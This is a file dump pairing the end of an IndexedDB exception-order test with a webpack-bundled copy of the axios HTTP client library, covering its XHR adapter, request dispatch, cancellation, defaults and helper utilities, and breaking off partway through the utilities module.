'IDBDatabase.transaction exception order: InvalidStateError vs. InvalidAccessError'
);
indexeddb_test(
(t, db) => {
db.createObjectStore('s');
},
(t, db) => {
assert_throws('NotFoundError', () => {
db.transaction('no-such-store', 'versionchange');
}, '"No such store" check (NotFoundError) should precede ' +
'"invalid mode" check (TypeError)');
t.done();
},
'IDBDatabase.transaction exception order: NotFoundError vs. TypeError'
);
|
'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
/******/(function (modules) {
// webpackBootstrap
/******/ // The module cache
/******/var installedModules = {};
/******/
/******/ // The require function
/******/function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/if (installedModules[moduleId]) {
/******/return installedModules[moduleId].exports;
/******/
}
/******/ // Create a new module (and put it into the cache)
/******/var module = installedModules[moduleId] = {
/******/i: moduleId,
/******/l: false,
/******/exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/module.l = true;
/******/
/******/ // Return the exports of the module
/******/return module.exports;
/******/
}
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/__webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/__webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/__webpack_require__.d = function (exports, name, getter) {
/******/if (!__webpack_require__.o(exports, name)) {
/******/Object.defineProperty(exports, name, {
/******/configurable: false,
/******/enumerable: true,
/******/get: getter
/******/ });
/******/
}
/******/
};
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/__webpack_require__.n = function (module) {
/******/var getter = module && module.__esModule ?
/******/function getDefault() {
return module['default'];
} :
/******/function getModuleExports() {
return module;
};
/******/__webpack_require__.d(getter, 'a', getter);
/******/return getter;
/******/
};
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/__webpack_require__.o = function (object, property) {
return Object.prototype.hasOwnProperty.call(object, property);
};
/******/
/******/ // __webpack_public_path__
/******/__webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/return __webpack_require__(__webpack_require__.s = 0);
/******/
})(
/************************************************************************/
/******/{
/***/"./node_modules/axios/index.js":
/***/function node_modulesAxiosIndexJs(module, exports, __webpack_require__) {
module.exports = __webpack_require__("./node_modules/axios/lib/axios.js");
/***/
},
/***/"./node_modules/axios/lib/adapters/xhr.js":
/***/function node_modulesAxiosLibAdaptersXhrJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
var settle = __webpack_require__("./node_modules/axios/lib/core/settle.js");
var buildURL = __webpack_require__("./node_modules/axios/lib/helpers/buildURL.js");
var parseHeaders = __webpack_require__("./node_modules/axios/lib/helpers/parseHeaders.js");
var isURLSameOrigin = __webpack_require__("./node_modules/axios/lib/helpers/isURLSameOrigin.js");
var createError = __webpack_require__("./node_modules/axios/lib/core/createError.js");
var btoa = typeof window !== 'undefined' && window.btoa && window.btoa.bind(window) || __webpack_require__("./node_modules/axios/lib/helpers/btoa.js");
module.exports = function xhrAdapter(config) {
return new Promise(function dispatchXhrRequest(resolve, reject) {
var requestData = config.data;
var requestHeaders = config.headers;
if (utils.isFormData(requestData)) {
delete requestHeaders['Content-Type']; // Let the browser set it
}
var request = new XMLHttpRequest();
var loadEvent = 'onreadystatechange';
var xDomain = false;
// For IE 8/9 CORS support
// Only supports POST and GET calls and doesn't returns the response headers.
// DON'T do this for testing b/c XMLHttpRequest is mocked, not XDomainRequest.
if ("development" !== 'test' && typeof window !== 'undefined' && window.XDomainRequest && !('withCredentials' in request) && !isURLSameOrigin(config.url)) {
request = new window.XDomainRequest();
loadEvent = 'onload';
xDomain = true;
request.onprogress = function handleProgress() {};
request.ontimeout = function handleTimeout() {};
}
// HTTP basic authentication
if (config.auth) {
var username = config.auth.username || '';
var password = config.auth.password || '';
requestHeaders.Authorization = 'Basic ' + btoa(username + ':' + password);
}
request.open(config.method.toUpperCase(), buildURL(config.url, config.params, config.paramsSerializer), true);
// Set the request timeout in MS
request.timeout = config.timeout;
// Listen for ready state
request[loadEvent] = function handleLoad() {
if (!request || request.readyState !== 4 && !xDomain) {
return;
}
// The request errored out and we didn't get a response, this will be
// handled by onerror instead
// With one exception: request that using file: protocol, most browsers
// will return status as 0 even though it's a successful request
if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
return;
}
// Prepare the response
var responseHeaders = 'getAllResponseHeaders' in request ? parseHeaders(request.getAllResponseHeaders()) : null;
var responseData = !config.responseType || config.responseType === 'text' ? request.responseText : request.response;
var response = {
data: responseData,
// IE sends 1223 instead of 204 (https://github.com/mzabriskie/axios/issues/201)
status: request.status === 1223 ? 204 : request.status,
statusText: request.status === 1223 ? 'No Content' : request.statusText,
headers: responseHeaders,
config: config,
request: request
};
settle(resolve, reject, response);
// Clean up request
request = null;
};
// Handle low level network errors
request.onerror = function handleError() {
// Real errors are hidden from us by the browser
// onerror should only fire if it's a network error
reject(createError('Network Error', config));
// Clean up request
request = null;
};
// Handle timeout
request.ontimeout = function handleTimeout() {
reject(createError('timeout of ' + config.timeout + 'ms exceeded', config, 'ECONNABORTED'));
// Clean up request
request = null;
};
// Add xsrf header
// This is only done if running in a standard browser environment.
// Specifically not if we're in a web worker, or react-native.
if (utils.isStandardBrowserEnv()) {
var cookies = __webpack_require__("./node_modules/axios/lib/helpers/cookies.js");
// Add xsrf header
var xsrfValue = (config.withCredentials || isURLSameOrigin(config.url)) && config.xsrfCookieName ? cookies.read(config.xsrfCookieName) : undefined;
if (xsrfValue) {
requestHeaders[config.xsrfHeaderName] = xsrfValue;
}
}
// Add headers to the request
if ('setRequestHeader' in request) {
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (typeof requestData === 'undefined' && key.toLowerCase() === 'content-type') {
// Remove Content-Type if data is undefined
delete requestHeaders[key];
} else {
// Otherwise add header to the request
request.setRequestHeader(key, val);
}
});
}
// Add withCredentials to request if needed
if (config.withCredentials) {
request.withCredentials = true;
}
// Add responseType to request if needed
if (config.responseType) {
try {
request.responseType = config.responseType;
} catch (e) {
if (request.responseType !== 'json') {
throw e;
}
}
}
// Handle progress if needed
if (typeof config.onDownloadProgress === 'function') {
request.addEventListener('progress', config.onDownloadProgress);
}
// Not all browsers support upload events
if (typeof config.onUploadProgress === 'function' && request.upload) {
request.upload.addEventListener('progress', config.onUploadProgress);
}
if (config.cancelToken) {
// Handle cancellation
config.cancelToken.promise.then(function onCanceled(cancel) {
if (!request) {
return;
}
request.abort();
reject(cancel);
// Clean up request
request = null;
});
}
if (requestData === undefined) {
requestData = null;
}
// Send the request
request.send(requestData);
});
};
/***/
},
/***/"./node_modules/axios/lib/axios.js":
/***/function node_modulesAxiosLibAxiosJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
var bind = __webpack_require__("./node_modules/axios/lib/helpers/bind.js");
var Axios = __webpack_require__("./node_modules/axios/lib/core/Axios.js");
var defaults = __webpack_require__("./node_modules/axios/lib/defaults.js");
/**
* Create an instance of Axios
*
* @param {Object} defaultConfig The default config for the instance
* @return {Axios} A new instance of Axios
*/
function createInstance(defaultConfig) {
var context = new Axios(defaultConfig);
var instance = bind(Axios.prototype.request, context);
// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);
// Copy context to instance
utils.extend(instance, context);
return instance;
}
// Create the default instance to be exported
var axios = createInstance(defaults);
// Expose Axios class to allow class inheritance
axios.Axios = Axios;
// Factory for creating new instances
axios.create = function create(instanceConfig) {
return createInstance(utils.merge(defaults, instanceConfig));
};
// Expose Cancel & CancelToken
axios.Cancel = __webpack_require__("./node_modules/axios/lib/cancel/Cancel.js");
axios.CancelToken = __webpack_require__("./node_modules/axios/lib/cancel/CancelToken.js");
axios.isCancel = __webpack_require__("./node_modules/axios/lib/cancel/isCancel.js");
// Expose all/spread
axios.all = function all(promises) {
return Promise.all(promises);
};
axios.spread = __webpack_require__("./node_modules/axios/lib/helpers/spread.js");
module.exports = axios;
// Allow use of default import syntax in TypeScript
module.exports.default = axios;
/***/
},
/***/"./node_modules/axios/lib/cancel/Cancel.js":
/***/function node_modulesAxiosLibCancelCancelJs(module, exports, __webpack_require__) {
"use strict";
/**
* A `Cancel` is an object that is thrown when an operation is canceled.
*
* @class
* @param {string=} message The message.
*/
function Cancel(message) {
this.message = message;
}
Cancel.prototype.toString = function toString() {
return 'Cancel' + (this.message ? ': ' + this.message : '');
};
Cancel.prototype.__CANCEL__ = true;
module.exports = Cancel;
/***/
},
/***/"./node_modules/axios/lib/cancel/CancelToken.js":
/***/function node_modulesAxiosLibCancelCancelTokenJs(module, exports, __webpack_require__) {
"use strict";
var Cancel = __webpack_require__("./node_modules/axios/lib/cancel/Cancel.js");
/**
* A `CancelToken` is an object that can be used to request cancellation of an operation.
*
* @class
* @param {Function} executor The executor function.
*/
function CancelToken(executor) {
if (typeof executor !== 'function') {
throw new TypeError('executor must be a function.');
}
var resolvePromise;
this.promise = new Promise(function promiseExecutor(resolve) {
resolvePromise = resolve;
});
var token = this;
executor(function cancel(message) {
if (token.reason) {
// Cancellation has already been requested
return;
}
token.reason = new Cancel(message);
resolvePromise(token.reason);
});
}
/**
* Throws a `Cancel` if cancellation has been requested.
*/
CancelToken.prototype.throwIfRequested = function throwIfRequested() {
if (this.reason) {
throw this.reason;
}
};
/**
* Returns an object that contains a new `CancelToken` and a function that, when called,
* cancels the `CancelToken`.
*/
CancelToken.source = function source() {
var cancel;
var token = new CancelToken(function executor(c) {
cancel = c;
});
return {
token: token,
cancel: cancel
};
};
module.exports = CancelToken;
/***/
},
/***/"./node_modules/axios/lib/cancel/isCancel.js":
/***/function node_modulesAxiosLibCancelIsCancelJs(module, exports, __webpack_require__) {
"use strict";
module.exports = function isCancel(value) {
return !!(value && value.__CANCEL__);
};
/***/
},
/***/"./node_modules/axios/lib/core/Axios.js":
/***/function node_modulesAxiosLibCoreAxiosJs(module, exports, __webpack_require__) {
"use strict";
var defaults = __webpack_require__("./node_modules/axios/lib/defaults.js");
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
var InterceptorManager = __webpack_require__("./node_modules/axios/lib/core/InterceptorManager.js");
var dispatchRequest = __webpack_require__("./node_modules/axios/lib/core/dispatchRequest.js");
var isAbsoluteURL = __webpack_require__("./node_modules/axios/lib/helpers/isAbsoluteURL.js");
var combineURLs = __webpack_require__("./node_modules/axios/lib/helpers/combineURLs.js");
/**
* Create a new instance of Axios
*
* @param {Object} instanceConfig The default config for the instance
*/
function Axios(instanceConfig) {
this.defaults = instanceConfig;
this.interceptors = {
request: new InterceptorManager(),
response: new InterceptorManager()
};
}
/**
* Dispatch a request
*
* @param {Object} config The config specific for this request (merged with this.defaults)
*/
Axios.prototype.request = function request(config) {
/*eslint no-param-reassign:0*/
// Allow for axios('example/url'[, config]) a la fetch API
if (typeof config === 'string') {
config = utils.merge({
url: arguments[0]
}, arguments[1]);
}
config = utils.merge(defaults, this.defaults, { method: 'get' }, config);
// Support baseURL config
if (config.baseURL && !isAbsoluteURL(config.url)) {
config.url = combineURLs(config.baseURL, config.url);
}
// Hook up interceptors middleware
var chain = [dispatchRequest, undefined];
var promise = Promise.resolve(config);
this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});
this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});
while (chain.length) {
promise = promise.then(chain.shift(), chain.shift());
}
return promise;
};
// Provide aliases for supported request methods
utils.forEach(['delete', 'get', 'head'], function forEachMethodNoData(method) {
/*eslint func-names:0*/
Axios.prototype[method] = function (url, config) {
return this.request(utils.merge(config || {}, {
method: method,
url: url
}));
};
});
utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
/*eslint func-names:0*/
Axios.prototype[method] = function (url, data, config) {
return this.request(utils.merge(config || {}, {
method: method,
url: url,
data: data
}));
};
});
module.exports = Axios;
/***/
},
/***/"./node_modules/axios/lib/core/InterceptorManager.js":
/***/function node_modulesAxiosLibCoreInterceptorManagerJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
function InterceptorManager() {
this.handlers = [];
}
/**
* Add a new interceptor to the stack
*
* @param {Function} fulfilled The function to handle `then` for a `Promise`
* @param {Function} rejected The function to handle `reject` for a `Promise`
*
* @return {Number} An ID used to remove interceptor later
*/
InterceptorManager.prototype.use = function use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1;
};
/**
* Remove an interceptor from the stack
*
* @param {Number} id The ID that was returned by `use`
*/
InterceptorManager.prototype.eject = function eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null;
}
};
/**
* Iterate over all the registered interceptors
*
* This method is particularly useful for skipping over any
* interceptors that may have become `null` calling `eject`.
*
* @param {Function} fn The function to call for each interceptor
*/
InterceptorManager.prototype.forEach = function forEach(fn) {
utils.forEach(this.handlers, function forEachHandler(h) {
if (h !== null) {
fn(h);
}
});
};
module.exports = InterceptorManager;
/***/
},
/***/"./node_modules/axios/lib/core/createError.js":
/***/function node_modulesAxiosLibCoreCreateErrorJs(module, exports, __webpack_require__) {
"use strict";
var enhanceError = __webpack_require__("./node_modules/axios/lib/core/enhanceError.js");
/**
* Create an Error with the specified message, config, error code, and response.
*
* @param {string} message The error message.
* @param {Object} config The config.
* @param {string} [code] The error code (for example, 'ECONNABORTED').
@ @param {Object} [response] The response.
* @returns {Error} The created error.
*/
module.exports = function createError(message, config, code, response) {
var error = new Error(message);
return enhanceError(error, config, code, response);
};
/***/
},
/***/"./node_modules/axios/lib/core/dispatchRequest.js":
/***/function node_modulesAxiosLibCoreDispatchRequestJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
var transformData = __webpack_require__("./node_modules/axios/lib/core/transformData.js");
var isCancel = __webpack_require__("./node_modules/axios/lib/cancel/isCancel.js");
var defaults = __webpack_require__("./node_modules/axios/lib/defaults.js");
/**
* Throws a `Cancel` if cancellation has been requested.
*/
function throwIfCancellationRequested(config) {
if (config.cancelToken) {
config.cancelToken.throwIfRequested();
}
}
/**
* Dispatch a request to the server using the configured adapter.
*
* @param {object} config The config that is to be used for the request
* @returns {Promise} The Promise to be fulfilled
*/
module.exports = function dispatchRequest(config) {
throwIfCancellationRequested(config);
// Ensure headers exist
config.headers = config.headers || {};
// Transform request data
config.data = transformData(config.data, config.headers, config.transformRequest);
// Flatten headers
config.headers = utils.merge(config.headers.common || {}, config.headers[config.method] || {}, config.headers || {});
utils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], function cleanHeaderConfig(method) {
delete config.headers[method];
});
var adapter = config.adapter || defaults.adapter;
return adapter(config).then(function onAdapterResolution(response) {
throwIfCancellationRequested(config);
// Transform response data
response.data = transformData(response.data, response.headers, config.transformResponse);
return response;
}, function onAdapterRejection(reason) {
if (!isCancel(reason)) {
throwIfCancellationRequested(config);
// Transform response data
if (reason && reason.response) {
reason.response.data = transformData(reason.response.data, reason.response.headers, config.transformResponse);
}
}
return Promise.reject(reason);
});
};
/***/
},
/***/"./node_modules/axios/lib/core/enhanceError.js":
/***/function node_modulesAxiosLibCoreEnhanceErrorJs(module, exports, __webpack_require__) {
"use strict";
/**
* Update an Error with the specified config, error code, and response.
*
* @param {Error} error The error to update.
* @param {Object} config The config.
* @param {string} [code] The error code (for example, 'ECONNABORTED').
@ @param {Object} [response] The response.
* @returns {Error} The error.
*/
module.exports = function enhanceError(error, config, code, response) {
error.config = config;
if (code) {
error.code = code;
}
error.response = response;
return error;
};
/***/
},
/***/"./node_modules/axios/lib/core/settle.js":
/***/function node_modulesAxiosLibCoreSettleJs(module, exports, __webpack_require__) {
"use strict";
var createError = __webpack_require__("./node_modules/axios/lib/core/createError.js");
/**
* Resolve or reject a Promise based on response status.
*
* @param {Function} resolve A function that resolves the promise.
* @param {Function} reject A function that rejects the promise.
* @param {object} response The response.
*/
module.exports = function settle(resolve, reject, response) {
var validateStatus = response.config.validateStatus;
// Note: status is not exposed by XDomainRequest
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response);
} else {
reject(createError('Request failed with status code ' + response.status, response.config, null, response));
}
};
/***/
},
/***/"./node_modules/axios/lib/core/transformData.js":
/***/function node_modulesAxiosLibCoreTransformDataJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
/**
* Transform the data for a request or a response
*
* @param {Object|String} data The data to be transformed
* @param {Array} headers The headers for the request or response
* @param {Array|Function} fns A single function or Array of functions
* @returns {*} The resulting transformed data
*/
module.exports = function transformData(data, headers, fns) {
/*eslint no-param-reassign:0*/
utils.forEach(fns, function transform(fn) {
data = fn(data, headers);
});
return data;
};
/***/
},
/***/"./node_modules/axios/lib/defaults.js":
/***/function node_modulesAxiosLibDefaultsJs(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */
(function (process) {
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
var normalizeHeaderName = __webpack_require__("./node_modules/axios/lib/helpers/normalizeHeaderName.js");
var PROTECTION_PREFIX = /^\)\]\}',?\n/;
var DEFAULT_CONTENT_TYPE = {
'Content-Type': 'application/x-www-form-urlencoded'
};
function setContentTypeIfUnset(headers, value) {
if (!utils.isUndefined(headers) && utils.isUndefined(headers['Content-Type'])) {
headers['Content-Type'] = value;
}
}
function getDefaultAdapter() {
var adapter;
if (typeof XMLHttpRequest !== 'undefined') {
// For browsers use XHR adapter
adapter = __webpack_require__("./node_modules/axios/lib/adapters/xhr.js");
} else if (typeof process !== 'undefined') {
// For node use HTTP adapter
adapter = __webpack_require__("./node_modules/axios/lib/adapters/xhr.js");
}
return adapter;
}
var defaults = {
adapter: getDefaultAdapter(),
transformRequest: [function transformRequest(data, headers) {
normalizeHeaderName(headers, 'Content-Type');
if (utils.isFormData(data) || utils.isArrayBuffer(data) || utils.isStream(data) || utils.isFile(data) || utils.isBlob(data)) {
return data;
}
if (utils.isArrayBufferView(data)) {
return data.buffer;
}
if (utils.isURLSearchParams(data)) {
setContentTypeIfUnset(headers, 'application/x-www-form-urlencoded;charset=utf-8');
return data.toString();
}
if (utils.isObject(data)) {
setContentTypeIfUnset(headers, 'application/json;charset=utf-8');
return JSON.stringify(data);
}
return data;
}],
transformResponse: [function transformResponse(data) {
/*eslint no-param-reassign:0*/
if (typeof data === 'string') {
data = data.replace(PROTECTION_PREFIX, '');
try {
data = JSON.parse(data);
} catch (e) {/* Ignore */}
}
return data;
}],
timeout: 0,
xsrfCookieName: 'XSRF-TOKEN',
xsrfHeaderName: 'X-XSRF-TOKEN',
maxContentLength: -1,
validateStatus: function validateStatus(status) {
return status >= 200 && status < 300;
}
};
defaults.headers = {
common: {
'Accept': 'application/json, text/plain, */*'
}
};
utils.forEach(['delete', 'get', 'head'], function forEachMehtodNoData(method) {
defaults.headers[method] = {};
});
utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
defaults.headers[method] = utils.merge(DEFAULT_CONTENT_TYPE);
});
module.exports = defaults;
/* WEBPACK VAR INJECTION */
}).call(exports, __webpack_require__("./node_modules/process/browser.js"));
/***/
},
/***/"./node_modules/axios/lib/helpers/bind.js":
/***/function node_modulesAxiosLibHelpersBindJs(module, exports, __webpack_require__) {
"use strict";
module.exports = function bind(fn, thisArg) {
return function wrap() {
var args = new Array(arguments.length);
for (var i = 0; i < args.length; i++) {
args[i] = arguments[i];
}
return fn.apply(thisArg, args);
};
};
/***/
},
/***/"./node_modules/axios/lib/helpers/btoa.js":
/***/function node_modulesAxiosLibHelpersBtoaJs(module, exports, __webpack_require__) {
"use strict";
// btoa polyfill for IE<10 courtesy https://github.com/davidchambers/Base64.js
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
function E() {
this.message = 'String contains an invalid character';
}
E.prototype = new Error();
E.prototype.code = 5;
E.prototype.name = 'InvalidCharacterError';
function btoa(input) {
var str = String(input);
var output = '';
for (
// initialize result and counter
var block, charCode, idx = 0, map = chars;
// if the next str index does not exist:
// change the mapping table to "="
// check if d has no fractional digits
str.charAt(idx | 0) || (map = '=', idx % 1);
// "8 - idx % 1 * 8" generates the sequence 2, 4, 6, 8
output += map.charAt(63 & block >> 8 - idx % 1 * 8)) {
charCode = str.charCodeAt(idx += 3 / 4);
if (charCode > 0xFF) {
throw new E();
}
block = block << 8 | charCode;
}
return output;
}
module.exports = btoa;
/***/
},
/***/"./node_modules/axios/lib/helpers/buildURL.js":
/***/function node_modulesAxiosLibHelpersBuildURLJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
function encode(val) {
return encodeURIComponent(val).replace(/%40/gi, '@').replace(/%3A/gi, ':').replace(/%24/g, '$').replace(/%2C/gi, ',').replace(/%20/g, '+').replace(/%5B/gi, '[').replace(/%5D/gi, ']');
}
/**
* Build a URL by appending params to the end
*
* @param {string} url The base of the url (e.g., http://www.google.com)
* @param {object} [params] The params to be appended
* @returns {string} The formatted url
*/
module.exports = function buildURL(url, params, paramsSerializer) {
/*eslint no-param-reassign:0*/
if (!params) {
return url;
}
var serializedParams;
if (paramsSerializer) {
serializedParams = paramsSerializer(params);
} else if (utils.isURLSearchParams(params)) {
serializedParams = params.toString();
} else {
var parts = [];
utils.forEach(params, function serialize(val, key) {
if (val === null || typeof val === 'undefined') {
return;
}
if (utils.isArray(val)) {
key = key + '[]';
}
if (!utils.isArray(val)) {
val = [val];
}
utils.forEach(val, function parseValue(v) {
if (utils.isDate(v)) {
v = v.toISOString();
} else if (utils.isObject(v)) {
v = JSON.stringify(v);
}
parts.push(encode(key) + '=' + encode(v));
});
});
serializedParams = parts.join('&');
}
if (serializedParams) {
url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
}
return url;
};
/***/
},
/***/"./node_modules/axios/lib/helpers/combineURLs.js":
/***/function node_modulesAxiosLibHelpersCombineURLsJs(module, exports, __webpack_require__) {
"use strict";
/**
* Creates a new URL by combining the specified URLs
*
* @param {string} baseURL The base URL
* @param {string} relativeURL The relative URL
* @returns {string} The combined URL
*/
module.exports = function combineURLs(baseURL, relativeURL) {
return baseURL.replace(/\/+$/, '') + '/' + relativeURL.replace(/^\/+/, '');
};
/***/
},
/***/"./node_modules/axios/lib/helpers/cookies.js":
/***/function node_modulesAxiosLibHelpersCookiesJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
module.exports = utils.isStandardBrowserEnv() ?
// Standard browser envs support document.cookie
function standardBrowserEnv() {
return {
write: function write(name, value, expires, path, domain, secure) {
var cookie = [];
cookie.push(name + '=' + encodeURIComponent(value));
if (utils.isNumber(expires)) {
cookie.push('expires=' + new Date(expires).toGMTString());
}
if (utils.isString(path)) {
cookie.push('path=' + path);
}
if (utils.isString(domain)) {
cookie.push('domain=' + domain);
}
if (secure === true) {
cookie.push('secure');
}
document.cookie = cookie.join('; ');
},
read: function read(name) {
var match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
return match ? decodeURIComponent(match[3]) : null;
},
remove: function remove(name) {
this.write(name, '', Date.now() - 86400000);
}
};
}() :
// Non standard browser env (web workers, react-native) lack needed support.
function nonStandardBrowserEnv() {
return {
write: function write() {},
read: function read() {
return null;
},
remove: function remove() {}
};
}();
/***/
},
/***/"./node_modules/axios/lib/helpers/isAbsoluteURL.js":
/***/function node_modulesAxiosLibHelpersIsAbsoluteURLJs(module, exports, __webpack_require__) {
"use strict";
/**
* Determines whether the specified URL is absolute
*
* @param {string} url The URL to test
* @returns {boolean} True if the specified URL is absolute, otherwise false
*/
module.exports = function isAbsoluteURL(url) {
// A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
// RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
// by any combination of letters, digits, plus, period, or hyphen.
return (/^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(url)
);
};
/***/
},
/***/"./node_modules/axios/lib/helpers/isURLSameOrigin.js":
/***/function node_modulesAxiosLibHelpersIsURLSameOriginJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
module.exports = utils.isStandardBrowserEnv() ?
// Standard browser envs have full support of the APIs needed to test
// whether the request URL is of the same origin as current location.
function standardBrowserEnv() {
var msie = /(msie|trident)/i.test(navigator.userAgent);
var urlParsingNode = document.createElement('a');
var originURL;
/**
* Parse a URL to discover it's components
*
* @param {String} url The URL to be parsed
* @returns {Object}
*/
function resolveURL(url) {
var href = url;
if (msie) {
// IE needs attribute set twice to normalize properties
urlParsingNode.setAttribute('href', href);
href = urlParsingNode.href;
}
urlParsingNode.setAttribute('href', href);
// urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
return {
href: urlParsingNode.href,
protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
host: urlParsingNode.host,
search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
hostname: urlParsingNode.hostname,
port: urlParsingNode.port,
pathname: urlParsingNode.pathname.charAt(0) === '/' ? urlParsingNode.pathname : '/' + urlParsingNode.pathname
};
}
originURL = resolveURL(window.location.href);
/**
* Determine if a URL shares the same origin as the current location
*
* @param {String} requestURL The URL to test
* @returns {boolean} True if URL shares the same origin, otherwise false
*/
return function isURLSameOrigin(requestURL) {
var parsed = utils.isString(requestURL) ? resolveURL(requestURL) : requestURL;
return parsed.protocol === originURL.protocol && parsed.host === originURL.host;
};
}() :
// Non standard browser envs (web workers, react-native) lack needed support.
function nonStandardBrowserEnv() {
return function isURLSameOrigin() {
return true;
};
}();
/***/
},
/***/"./node_modules/axios/lib/helpers/normalizeHeaderName.js":
/***/function node_modulesAxiosLibHelpersNormalizeHeaderNameJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
module.exports = function normalizeHeaderName(headers, normalizedName) {
utils.forEach(headers, function processHeader(value, name) {
if (name !== normalizedName && name.toUpperCase() === normalizedName.toUpperCase()) {
headers[normalizedName] = value;
delete headers[name];
}
});
};
/***/
},
/***/"./node_modules/axios/lib/helpers/parseHeaders.js":
/***/function node_modulesAxiosLibHelpersParseHeadersJs(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__("./node_modules/axios/lib/utils.js");
/**
* Parse headers into an object
*
* ```
* Date: Wed, 27 Aug 2014 08:58:49 GMT
* Content-Type: application/json
* Connection: keep-alive
* Transfer-Encoding: chunked
* ```
*
* @param {String} headers Headers needing to be parsed
* @returns {Object} Headers parsed into an object
*/
module.exports = function parseHeaders(headers) {
var parsed = {};
var key;
var val;
var i;
if (!headers) {
return parsed;
}
utils.forEach(headers.split('\n'), function parser(line) {
i = line.indexOf(':');
key = utils.trim(line.substr(0, i)).toLowerCase();
val = utils.trim(line.substr(i + 1));
if (key) {
parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
}
});
return parsed;
};
/***/
},
/***/"./node_modules/axios/lib/helpers/spread.js":
/***/function node_modulesAxiosLibHelpersSpreadJs(module, exports, __webpack_require__) {
"use strict";
/**
* Syntactic sugar for invoking a function and expanding an array for arguments.
*
* Common use case would be to use `Function.prototype.apply`.
*
* ```js
* function f(x, y, z) {}
* var args = [1, 2, 3];
* f.apply(null, args);
* ```
*
* With `spread` this example can be re-written.
*
* ```js
* spread(function(x, y, z) {})([1, 2, 3]);
* ```
*
* @param {Function} callback
* @returns {Function}
*/
module.exports = function spread(callback) {
return function wrap(arr) {
return callback.apply(null, arr);
};
};
/***/
},
/***/"./node_modules/axios/lib/utils.js":
/***/function node_modulesAxiosLibUtilsJs(module, exports, __webpack_require__) {
"use strict";
var bind = __webpack_require__("./node_modules/axios/lib/helpers/bind.js");
/*global toString:true*/
// utils is a library of generic helper functions non-specific to axios
var toString = Object.prototype.toString;
/**
* Determine if a value is an Array
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an Array, otherwise false
*/
function isArray(val) {
return toString.call(val) === '[object Array]';
}
/**
* Determine if a value is an ArrayBuffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an ArrayBuffer, otherwise false
*/
function isArrayBuffer(val) {
return toString.call(val) === '[object ArrayBuffer]';
}
/**
* Determine if a value is a FormData
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an FormData, otherwise false
*/
function isFormData(val) {
return typeof FormData !== 'undefined' && val instanceof FormData;
}
/**
* Determine if a value is a view on an ArrayBuffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
*/
function isArrayBufferView(val) {
var result;
if (typeof ArrayBuffer !== 'undefined' && ArrayBuffer.isView) {
result = ArrayBuffer.isView(val);
} else {
result = val && val.buffer && val.buffer instanceof ArrayBuffer;
}
return result;
}
/**
* Determine if a value is a String
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a String, otherwise false
*/
function isString(val) {
return typeof val === 'string';
}
/**
* Determine if a value is a Number
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Number, otherwise false
*/
function isNumber(val) {
return typeof val === 'number';
}
/**
* Determine if a value is undefined
*
* @param {Object} val The value to test
